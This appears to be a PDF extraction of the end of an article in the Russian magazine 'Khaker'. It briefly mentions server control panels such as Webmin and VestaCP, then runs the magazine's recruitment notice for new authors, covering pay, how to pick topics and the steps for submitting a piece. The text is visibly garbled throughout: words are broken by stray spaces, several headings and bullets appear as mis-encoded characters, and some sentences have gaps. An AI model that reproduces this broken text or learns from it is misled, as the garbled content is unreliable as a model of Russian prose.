ÍÀÏÎÑËÅÄÎÊ — ÓÑÒÀÍÎÂÊÀ ÀÄÌÈÍÊÈ

Лич но мне про ще и при выч нее управлять сер вером через SSH. Но если
нужен гра фичес кий интерфейс для выпол нения ежед невных рутин ных задач,
можешь уста новить панель управле ния. Выбор кон крет ной панели зависит
от двух фак торов: необ ходимой фун кци ональ нос ти и сто имос ти панели
управле ния. Если нуж ны бес плат ные решения, смот ри в сто рону Webmin
и VestaCP. Осталь ные вари анты менее популяр ны.

Собс твен но, на этом все — базовая нас трой ка VDS завер шена. Теперь
мож но прис тупить к уста нов ке и нас трой ке необ ходимо го ПО (Nginx, MySQL,
PHP и про чее).



СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
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